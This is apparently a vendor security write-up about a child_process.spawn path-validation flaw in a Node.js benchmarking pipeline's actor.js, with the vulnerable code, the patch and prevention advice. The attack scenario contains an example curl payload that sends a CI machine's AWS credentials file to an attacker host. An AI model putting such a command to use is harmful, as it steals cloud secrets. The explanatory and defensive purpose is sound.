Introduction
The bench/lib/actor.js file is part of a Node.js benchmarking pipeline that orchestrates multi-step build/test workflows. One of its step handlers, spawn-process, is responsible for launching an executable produced by a previous pipeline step and monitoring it via child_process.spawn(). The problem: the executable path used to launch that process came straight from ctx.results.get(step.with.fromStep) — the output of a previous pipeline step — and was handed to spawn() with no validation that it pointed where it was supposed to.
That might sound harmless in a controlled CI environment, but pipeline step results are exactly the kind of "internal but not fully trusted" data that benchmarking/build systems increasingly ingest from plugins, downloaded artifacts, or user-defined step configurations. If an attacker can influence what source.path resolves to — via a malicious plugin, a crafted pipeline definition, or a supply-chain-tainted step — they can redirect execution to an arbitrary binary anywhere on the filesystem, sidestepping the sandbox the benchmarking harness was designed to enforce.
The Vulnerability Explained
Here's the vulnerable code from bench/lib/actor.js, around line 358:
'spawn-process': async (step, ctx) => {
const source = ctx.results.get(step.with.fromStep);
const args = step.with.args ?? [];
const child = spawn(source.path, args, { stdio: 'ignore', windowsHide: true });
ctx.children.push(child);
const timestamp = await awaitSpawn(child);
return {
The key issue is spawn(source.path, args, ...). source.path is trusted implicitly, but it originates from ctx.results — data produced by a different pipeline step (step.with.fromStep). Nothing in this code confirms that source.path actually lives inside the sandbox directory the benchmark run is supposed to be confined to (ctx.stageDir).
This is Semgrep's javascript.lang.security.detect-child-process.detect-child-process finding: a call into child_process fed by a function argument (ctx) whose provenance isn't guaranteed to be safe. While spawn() (unlike exec()) doesn't interpret shell metacharacters, that protection is irrelevant if the path to the executable itself can be steered outside the intended boundary — that's a path-traversal-flavored command injection primitive.
Example attack scenario: Imagine a malicious or compromised pipeline step produces a result object like:
{ path: '/usr/bin/curl', args: ['http://attacker.example/exfil', '-d', '@/home/ci/.aws/credentials'] }
If this result is ever consumed by the spawn-process step (whether through a crafted step definition, a benchmark plugin, or an upstream step that got tampered with), actor.js would happily spawn() /usr/bin/curl with attacker-chosen arguments — completely outside the sandboxed stage directory the benchmark run was meant to operate in. In a CI/CD context, that's a direct path to secret exfiltration or lateral movement.
The Fix
The patch adds an explicit boundary check before the process is ever spawned:
Before:
'spawn-process': async (step, ctx) => {
const source = ctx.results.get(step.with.fromStep);
const args = step.with.args ?? [];
const child = spawn(source.path, args, { stdio: 'ignore', windowsHide: true });
After:
'spawn-process': async (step, ctx) => {
const source = ctx.results.get(step.with.fromStep);
const args = step.with.args ?? [];
const resolvedExec = path.resolve(source.path);
const resolvedStageDir = path.resolve(ctx.stageDir);
if (!resolvedExec.startsWith(resolvedStageDir + path.sep)) {
throw new Error(`executable path is outside the stage directory`);
}
const child = spawn(resolvedExec, args, { stdio: 'ignore', windowsHide: true });
Three things happen here that matter:
- Canonicalization:
path.resolve()is applied to bothsource.pathandctx.stageDir. This neutralizes tricks like../../../usr/bin/curlor symlink-style relative traversal — the comparison happens on fully resolved, absolute paths, not raw strings. - Explicit boundary enforcement: The code checks that the resolved executable path starts with the resolved stage directory plus a path separator (
path.sep), which correctly prevents a sibling-directory bypass (e.g.,stageDir=/tmp/stageshouldn't match/tmp/stage-evil). - Fail closed: If the check fails, the function throws immediately — no process is spawned, no partial execution occurs.
The result: even if ctx.results contains a path that has been tampered with or points somewhere unexpected, actor.js will refuse to execute it unless it's genuinely inside the sandbox directory the benchmark run controls.
Prevention & Best Practices
- Never trust intermediate pipeline/step output as inherently safe. Data passed between steps in a benchmarking or build system should be treated the same way you'd treat user input — validate before using it in a sensitive sink like
child_process.spawn(). - Always resolve and validate filesystem paths before executing them. Use
path.resolve()plus astartsWith(base + path.sep)check (or a dedicated library) to enforce sandbox boundaries — string-prefix checks without resolving paths first are trivially bypassed. - Prefer
spawn()/execFile()overexec()to avoid shell interpretation, but remember that avoiding shell injection doesn't automatically protect against an attacker controlling which binary gets executed. - Run static analysis in CI. This exact issue was flagged by Semgrep's
javascript.lang.security.detect-child-process.detect-child-processrule — wiring these scans into CI catches these patterns before merge. - Apply the principle of least privilege to any process that spawns child executables based on data it didn't fully control (e.g., run the benchmark harness with a restricted filesystem/user context).
Key Takeaways
- The
spawn-processhandler inbench/lib/actor.jstrustedsource.pathfrom a prior pipeline step without checking it stayed insidectx.stageDir. - A single missing boundary check turned a benign-looking
spawn()call into a potential arbitrary-executable-launch primitive. path.resolve()+startsWith(resolvedStageDir + path.sep)is a simple, effective pattern for enforcing "this path must be inside this sandbox" — use it any time you pass computed paths intochild_process.- Fixing this doesn't change behavior for legitimate benchmark runs — paths that are already inside the stage directory pass through unaffected.
- Even defensive/"not currently exploitable" findings from tools like Semgrep are worth fixing proactively, since automated exploit tooling increasingly chains together weak primitives like this one.
How Orbis AppSec Detected This
- Source:
ctx.results.get(step.with.fromStep)— the output/path of a prior benchmark pipeline step, treated as untrusted data. - Sink:
spawn(source.path, args, { stdio: 'ignore', windowsHide: true })inbench/lib/actor.js:358. - Missing control: No validation that the resolved executable path was contained within the expected sandbox (
ctx.stageDir) before being executed. - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) with a CWE-22 (Path Traversal) root cause.
- Fix: Resolve both the executable path and stage directory with
path.resolve()and throw an error if the executable lies outside the stage directory before callingspawn().
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability shows how a benchmarking utility's convenience feature — chaining pipeline step outputs directly into child_process.spawn() — can quietly become a command execution primitive if the data crossing that boundary isn't validated. The fix in bench/lib/actor.js is small but precise: resolve paths, compare them against a trusted sandbox root, and fail closed if they don't match. Any codebase that spawns child processes based on computed or pipeline-derived paths should adopt this same pattern, and continuous static analysis (like the Semgrep rule that flagged this) should be part of the review process to catch these primitives before they ship.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/78.html
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — https://cwe.mitre.org/data/definitions/22.html
- OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- Node.js
child_processdocumentation — https://nodejs.org/api/child_process.html - Node.js
path.resolve()documentation — https://nodejs.org/api/path.html#pathresolvepaths - Semgrep rule reference — https://semgrep.dev/r?q=javascript.lang.security.detect-child-process.detect-child-process
- harden: sanitize child_process call in actor.js...